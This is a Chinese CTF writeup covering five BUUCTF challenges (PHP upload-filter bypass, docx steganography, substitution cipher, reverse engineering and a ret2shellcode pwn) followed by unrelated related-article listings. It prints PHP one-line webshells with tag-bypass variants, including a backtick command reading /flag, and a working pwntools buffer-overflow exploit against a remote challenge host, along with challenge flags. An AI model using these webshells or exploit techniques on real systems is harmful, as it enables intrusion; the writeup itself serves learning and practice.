寒假1.25

news2025/1/30 13:08:59

题解

web:[极客大挑战 2019]Upload

打开环境

上传一个一句话木马试试

只能上传图片那就再上传一次,bp抓包修改type-content为image/jpeg试试

 不行

看来是文件后缀被绕过了,上传一个.html然后抓包改类型试试

上传成功了,但是提示‘<?’被过滤了……

去搜搜它的绕过方法

GIF89a
<script language="php">eval($_POST['shell']);</script>

成功上传

蚁剑连接

 即可在根目录找到flag

misc:[MRCTF2020]你能看懂音符吗

010打开,发现文件头前两位位置互换了,更改回来

解压得到一个docx文档

打开看看

全选更改文字颜色也没用,排除这种方法

右上角搜索隐藏,点击“显示/隐藏段落标记”

 用在线工具解密

但是一直粘贴不过来

用010打开.docx文档,发现存在PK文件的文件头,确认为zip文件

更改扩展名为.zip后解压

打开word文件的document文件,复制音符

用在线工具解密即可

crypto:世上无难事

VIZZB IFIUOJBWO NVXAP OBC XZZ UKHVN IFIUOJBWO HB XVIXW XAW VXFI X QIXN VBD KQ IFIUOJBWO WBKAH NBWXO VBD XJBCN NKG QLKEIU DI XUI VIUI DKNV QNCWIANQ XN DXPIMKIZW VKHV QEVBBZ KA XUZKAHNBA FKUHKAKX XAW DI VXFI HBN QNCWIANQ NCAKAH KA MUBG XZZ XEUBQQ XGIUKEX MUBG PKAWIUHXUNIA NVUBCHV 12NV HUXWI XAW DI XUI SCQN QB HZXW NVXN XZZ EBCZW SBKA CQ NBWXO XAW DI DXAN NB NVXAP DXPIMKIZW MBU JIKAH QCEV XA BCNQNXAWKAH VBQN HKFI OBCUQIZFIQ X JKH UBCAW BM XLLZXCQI XAW NVI PIO KQ 640I11012805M211J0XJ24MM02X1IW09

法一:使用工具quipqiup - cryptoquip and cryptogram solver进行暴力破解

将得到的key转换成小写形式即可

法二:仔细阅读题目,得到答案的位数为32、包含小写字母的信息,通过位数统计,可以确定最后一串字符为答案

reverse:[GUET-CTF2019]re

exeinfope查看,.elf文件,64位有壳

freeUPX脱壳后ida64打开,shift+f12查看字符串

双击查看函数

进入sub_400E28函数,f5反汇编

这里发现输出correct函数的是sub_4009AE函数 跟进sub_4009AE函数

看到这里很懵,然后就去看了大佬的wp,后面的a7那个部分没看明白,再看看,要是还不会就来问师姐

这里进行的运算是X*a1[n]!=Y 我们给它进行逆操作 就是a1[n]=Y//X

脚本:

 
Y_values = [  
    166163712, 731332800, 357245568, 1074393000, 489211344, 518971936,  
    406741500, 294236496, 177305856, 650683500, 298351053, 386348487,  
    438258597, 249527520, 445362764, 981182160, 174988800, 493042704,  
    257493600, 767478780, 312840624, 1404511500, 316139670, 619005024,  
    372641472, 373693320, 498266640, 452465676, 208422720, 515592000,  
    719890500  
]  
  
X_values = [  
    1629056, 6771600, 3682944, 10431000, 3977328, 5138336,  
    7532250, 5551632, 3409728, 13013670, 6088797, 7884663,  
    8944053, 5198490, 4544518, 10115280, 3645600, 9667504,  
    5364450, 13464540, 5488432, 14479500, 6451830, 6252576,  
    7763364, 7327320, 8741520, 8871876, 4086720, 9374400,  
    5759124 
]  
  
a = [chr(y // x) for y, x in zip(Y_values, X_values)]  
    
print(''.join(a)) 

 但是因为a7不存在 我们需要0-9一个一个试值 最后试出来a7=1

故flag为flag{e165421110ba03099a1c039337}

pwn:ciscn_2019_n_5

exeinfope查看,64位无壳

ida64打开,查看主函数

有gets函数,查看text,存在溢出

我们再去看看name,然后发现name是bss段上的全局变量

又因为该题没有system("/bin/sh")的字样,所以我们可以向bss段写入shellcode拿到权限

shellcode = asm(shellcraft.sh())            #这个语句是生成shellcode,以便我们拿到权限

脚本:

from pwn import *
#p = process("C:\Users\aran\Desktop\rubbish\ciscn_2019_n_5")
p = remote('node5.buuoj.cn',29214)
context(os = 'linux',arch = 'amd64',log_level = 'debug')
payload_1=asm(shellcraft.sh())
payload_2 = b'a'*(0x20+0x08)+p64(0x0601080)
p.sendlineafter(b'tell me your name\n',payload_1)
p.recv()
p.sendline(payload_2)
p.interactive()

知识点

web

标签过滤绕过方式

    <?php @eval($_POST['cmd']); ?>            //正常写法
 
<?=@eval($_POST['cmd']); ?>              //短标签,适合过滤php
 
<?=`cat /flag`?>   //短标签,``中间直接使用系统命令
 
    <% @eval($_POST['cmd']); %>               //asp风格
 
    <script language='php'>@eval($_POST['cmd']);</script>      //<script>风格,适合过滤<?

GIF89a:

一个GIF89a图形文件就是一个根据图形交换格式(GIF)89a版(1989年7 月发行)进行格式化之后的图形。在GIF89a之前还有87a版(1987年5月发行),但在Web上所见到的大多数图形都是以89a版的格式创建的。 89a版的一个最主要的优势就是可以创建动态图像,例如创建一个旋转的图标、用一只手挥动的旗帜或是变大的字母。特别值得注意的是,一个动态GIF是一个 以GIF89a格式存储的文件,在一个这样的文件里包含的是一组以指定顺序呈现的图片。

misc

要注意区分.zip文件和.rar文件文件头的区别(一开始半天没反应过来)

docx文件后缀更改为.zip后一般都可以正常解压,并在里面找到一些通过软件更改的信息

原因:docx文件本质上是一个ZIP格式的压缩包,它包含了构成Word文档的多个文件和文件夹。这些文件和文件夹以特定的结构组织,其中包含了文档的文本内容(通常保存在document.xml文件中)、图片(保存在media文件夹中)以及其他相关的资源和属性。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2284822.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

C++/stack_queue

目录 1.stack 1.1stack的介绍 1.2stack的使用 练习题&#xff1a; 1.3stack的模拟实现 2.queue的介绍和使用 2.1queue的介绍 2.2queue的使用 2.3queue的模拟实现 3.priority_queue的介绍和使用 3.1priority_queue的介绍 3.2priority_queue的使用 欢迎 1.stack 1.1stack…

【Java】微服务找不到问题记录can not find user-service

一、问题描述 运行网关微服务与用户微服务后&#xff0c;nacos服务成功注册 但是测试接口的时候网关没有找到相关服务 二、解决方案 我先检查了pom文件确定没问题后查看配置文件 最后发现是配置里spring.application.namexxx-user里面服务的名字后面多了一个空格 三、总结…

QT:图像上绘制图形

需求描述 1、展示一张图像 2、在图像上可以使用数据绘制图像&#xff1a;矩形、不规则图形、线条 3、有按键可以选择 概要设计 规划布局如下 1、左边是Qlabel 用于展示图片 2、右边是三个按钮 具体实现 1、 首先设计 UI 界面&#xff0c;对控件进行布局 在 mainwindow.u…

基于java线程池和EasyExcel实现数据异步导入

基于java线程池和EasyExcel实现数据异步导入 2.代码实现 2.1 controller层 PostMapping("import")public void importExcel(MultipartFile file) throws IOException {importService.importExcelAsync(file);}2.2 service层 Resource private SalariesListener sa…

日志收集Day007

1.配置ES集群TLS认证: (1)elk101节点生成证书文件 cd /usr/share/elasticsearch ./bin/elasticsearch-certutil cert -out config/elastic-certificates.p12 -pass "" --days 3650 (2)elk101节点为证书文件修改属主和属组 chown elasticsearch:elasticsearch con…

群晖docker获取私有化镜像http: server gave HTTP response to HTTPS client].

群晖docker获取私有化镜像提示http: server gave HTTP response to HTTPS clien 问题描述 层级时间用户事件Information2023/07/08 12:47:45cxlogeAdd image from xx.xx.31.240:1923/go-gitea/gitea:1.19.3Error2023/07/08 12:47:48cxlogeFailed to pull image [Get "http…

ResNeSt: Split-Attention Networks论文学习笔记

这张图展示了一个名为“Split-Attention”的神经网络结构&#xff0c;该结构在一个基数组&#xff08;cardinal group&#xff09;内进行操作。基数组通常指的是在神经网络中处理的一组特征或通道。图中展示了如何通过一系列操作来实现对输入特征的注意力机制。 以下是图中各部…

【matlab】绘图 离散数据--->连续函数

matlab绘图练习 离散数据及离散函数对离散区间进行细划分 达到连续效果画plot(y)图 与 复数的应用 离散数据及离散函数 例1 x1[1 2 4 6 7 8 10 11 12 14 16 17 18 20] y1[1 2 4 6 7 8 10 10 8 7 6 4 2 1] figure(1); plot(x1,y1,o,MarkerSize,15); x21:20; y2log(x2); figure…

Qt中QVariant的使用

1.使用QVariant实现不同类型数据的相加 方法&#xff1a;通过type函数返回数值的类型&#xff0c;然后通过setValue来构造一个QVariant类型的返回值。 函数&#xff1a; QVariant mainPage::dataPlus(QVariant a, QVariant b) {QVariant ret;if ((a.type() QVariant::Int) &a…

基础项目实战——3D赛车(c++)

目录 前言一、渲染引擎二、关闭事件三、梯形绘制四、轨道绘制五、边缘绘制六、草坪绘制七、前后移动八、左右移动​九、曲线轨道​十、课山坡轨道​十一、循环轨道​十二、背景展示​十三、引入速度​十四、物品绘制​十五、课数字路障​十六、分数展示​十七、重新生成​十八、…

【SpringBoot教程】Spring Boot + MySQL + HikariCP 连接池整合教程

&#x1f64b;大家好&#xff01;我是毛毛张! &#x1f308;个人首页&#xff1a; 神马都会亿点点的毛毛张 在前面一篇文章中毛毛张介绍了SpringBoot中数据源与数据库连接池相关概念&#xff0c;今天毛毛张要分享的是关于SpringBoot整合HicariCP连接池相关知识点以及底层源码…

一文讲解Java中Object类常用的方法

在Java中&#xff0c;经常提到一个词“万物皆对象”&#xff0c;其中的“万物”指的是Java中的所有类&#xff0c;而这些类都是Object类的子类&#xff1b; Object主要提供了11个方法&#xff0c;大致可以分为六类&#xff1a; 对象比较&#xff1a; public native int has…

操作系统之输入输出

&#x1f9d1; 博主简介&#xff1a;CSDN博客专家&#xff0c;历代文学网&#xff08;PC端可以访问&#xff1a;https://literature.sinhy.com/#/literature?__c1000&#xff0c;移动端可微信小程序搜索“历代文学”&#xff09;总架构师&#xff0c;15年工作经验&#xff0c;…

【Convex Optimization Stanford】Lec3 Function

【Convex Optimization Stanford】Lec3 Function 前言凸函数的定义对凸函数在一条线上的限制增值扩充&#xff1f; 一阶条件二阶条件一些一阶/二阶条件的例子象集和sublevel set关于函数凸性的扩展&#xff08;Jesen Inequality)保持函数凸性的操作非负加权和 & 仿射函数的…

【Linux探索学习】第二十七弹——信号(一):Linux 信号基础详解

Linux学习笔记&#xff1a; https://blog.csdn.net/2301_80220607/category_12805278.html?spm1001.2014.3001.5482 前言&#xff1a; 前面我们已经将进程通信部分讲完了&#xff0c;现在我们来讲一个进程部分也非常重要的知识点——信号&#xff0c;信号也是进程间通信的一…

SpringBoot或SpringAI对接DeekSeek大模型

今日除夕夜&#xff0c;deepseek可是出尽了风头&#xff0c;但是我看网上还没有这方面的内容对接&#xff0c;官网也并没有&#xff0c;故而本次对接是为了完成这个空缺 我看很多的博客内容是流式请求虽然返回时正常的&#xff0c;但是他并不是实时返回&#xff0c;而是全部响应…

Funnel-Transformer:通过过滤序列冗余实现高效语言处理

摘要 随着语言预训练的成功&#xff0c;开发更具扩展性且能高效利用大量未标注数据的架构变得尤为重要。为了提高效率&#xff0c;我们研究了在维持完整token级别表示时的冗余问题&#xff0c;尤其是对于仅需要序列单向量表示的任务。基于这一直觉&#xff0c;我们提出了Funne…

【搜索回溯算法】:BFS的魔力--如何使用广度优先搜索找到最短路径

✨感谢您阅读本篇文章&#xff0c;文章内容是个人学习笔记的整理&#xff0c;如果哪里有误的话还请您指正噢✨ ✨ 个人主页&#xff1a;余辉zmh–CSDN博客 ✨ 文章所属专栏&#xff1a;搜索回溯算法篇–CSDN博客 文章目录 一.广度优先搜索&#xff08;BFS&#xff09;解决最短路…

【算法】经典博弈论问题——威佐夫博弈 python

目录 威佐夫博弈(Wythoff Game)【模板】 威佐夫博弈(Wythoff Game) 有两堆石子&#xff0c;数量任意&#xff0c;可以不同&#xff0c;游戏开始由两个人轮流取石子 游戏规定&#xff0c;每次有两种不同的取法 1)在任意的一堆中取走任意多的石子 2)可以在两堆中同时取走相同数量…

CUDA学习-内存访问

一 访存合并 1.1 说明 本部分内容主要参考: 搞懂 CUDA Shared Memory 上的 bank conflicts 和向量化指令(LDS.128 / float4)的访存特点 - 知乎 1.2 share memory结构 图1.1 share memory结构 放在 shared memory 中的数据是以 4 bytes(即 32 bits)作为 1 个 word,依…